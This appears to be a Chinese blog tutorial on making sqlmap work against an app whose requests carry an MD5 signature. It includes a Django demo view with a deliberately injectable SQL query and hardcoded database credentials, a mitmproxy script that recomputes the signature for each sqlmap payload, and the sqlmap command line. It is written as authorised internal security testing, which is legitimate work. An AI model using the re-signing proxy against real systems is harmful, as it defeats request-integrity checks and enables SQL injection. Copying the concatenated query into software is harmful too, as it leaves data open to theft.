您好,登錄后才能下訂單哦!
小編今天帶大家了解sqlmap處理sign加密的思路,文中知識點(diǎn)介紹的非常詳細(xì)。覺得有幫助的朋友可以跟著小編一起瀏覽文章的內(nèi)容,希望能夠幫助更多想解決這個(gè)問題的朋友找到問題的答案,下面跟著小編一起深入學(xué)習(xí)“sqlmap處理sign加密的思路”的知識吧。
我對公司的APP進(jìn)行測試的時(shí)候發(fā)現(xiàn),我們是將所有的參數(shù)內(nèi)容加上一個(gè)32位字符最后在進(jìn)行MD5加密。由于APP處理的流程首先是驗(yàn)證sign是不是正確,如果驗(yàn)簽失敗,根本就進(jìn)不去數(shù)據(jù)庫,為了要使用SQLMAP對其進(jìn)行測試,于是就寫了一個(gè)代理數(shù)據(jù)的腳本,在攔截到數(shù)據(jù)包之后,對其參數(shù)內(nèi)容和32字符進(jìn)行加密替換。
注:該腳本適用于公司內(nèi)部系統(tǒng),因?yàn)槟軌蛑兰用艿牧鞒?;或者能夠拿到前端JS的加密方式。
首先我使用Django寫了一個(gè)程序來模擬公司的系統(tǒng),流程是獲取POST的id和token,并加上自定義加密的字符,由于Django獲取到數(shù)據(jù)是已經(jīng)經(jīng)過URLDECODE,所以我用了quote對參數(shù)id的內(nèi)容進(jìn)行URLENCODE,再進(jìn)行MD5加密,最后驗(yàn)證請求過來的token是否和參數(shù)內(nèi)容一致。
views.py from django.shortcuts import render from django.http import JsonResponse # Create your views here. import hashlib import MySQLdb import urllib from django.views.decorators.csrf import csrf_exempt @csrf_exempt def index(request): id = request.POST.get("id") token = request.POST.get("token") str = urllib.quote(id+"test") print(str) hl = hashlib.md5() hl.update(str) token1 = hl.hexdigest() print token1 if token == token1: db = MySQLdb.connect("localhost", "root", "123456", "testdb", charset='utf8') cursor = db.cursor() cursor.execute("select * from t_userinfo where id="+id) data = cursor.fetchone() print "Database version : %s " % data db.close() return JsonResponse({"msg":"verity ok"}) else: return JsonResponse({"msg":"verity error."}) models.py class userinfo(models.Model): name = models.CharField(max_length=100) age = models.CharField(max_length=100)
使用BP進(jìn)行抓包,可以看到當(dāng)驗(yàn)證正確和驗(yàn)證錯(cuò)誤返回的狀態(tài)。
使用SQLMAP進(jìn)行測試,發(fā)現(xiàn)無法測試。
于是我使用mitmproxy,mitmproxy是一個(gè)交互式的中間代理HTTP和HTTPS的控制臺界面,具體詳情可以看這里。
如果要修改的話,只修改wsproxy_request_handle函數(shù),因?yàn)檫@個(gè)函數(shù)是攔截?cái)?shù)據(jù)并且篡改數(shù)據(jù)的過程,其他的代碼都是配置過程和運(yùn)行過程,不用修改。
from mitmproxy.proxy.server import ProxyServer from mitmproxy import flow, controller from mitmproxy import flow, proxy, controller, options import hashlib import re def md5cr(str): hl = hashlib.md5() hl.update(str.encode(encoding='utf-8')) return hl.hexdigest() class WSProxy(flow.FlowMaster): def __init__(self, opts, server, state, unsave_data): super(WSProxy, self).__init__(opts, server, state) self.unsave_data = unsave_data def run(self): try: print("start") flow.FlowMaster.run(self) except KeyboardInterrupt: self.shutdown() @controller.handler def request(self, f): wsproxy_request_handle(f) @controller.handler def response(self, f): wsproxy_response_handle(f) # parser = ResponseParser(f) # insert_result(parser.parser_data()) def wsproxy_request_handle(flow): """wyproxy send data to server before processing""" try: data = flow.request.content.split("&") t = "" for i in data: if i.split("=")[0] != "token": t = t+i.split("=")[1] str = t+"test" sign = md5cr(str) print(str) data1 = re.match("(.*?)token=",flow.request.content).group() flow.request.content = data1+sign print(flow.request.content) except IndexError: pass def wsproxy_response_handle(flow): pass port = 8888 # mode = 'regular' #mode=regular opts = options.Options( listen_port=int(port), mode=mode, cadir="./ssl/", ) unsave_data = False config = proxy.ProxyConfig(opts) state = flow.State() server = ProxyServer(config) m = WSProxy(opts, server, state, unsave_data) m.run()
運(yùn)行上面的腳本使用SQLMAP代理到上http://IP:8888上面,然后腳本會自動處理sqlmap的payload和生成對應(yīng)的sign。
python sqlmap.py -r e:\\1.txt -p id --dbms=mysql --batch --proxy=http://192.168.1.240:8888
上面是生成payload和sign的過程,下面是我請求一個(gè)payload報(bào)錯(cuò)的過程。
感謝大家的閱讀,以上就是“sqlmap處理sign加密的思路”的全部內(nèi)容了,學(xué)會的朋友趕緊操作起來吧。相信億速云小編一定會給大家?guī)砀鼉?yōu)質(zhì)的文章。謝謝大家對億速云網(wǎng)站的支持!
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。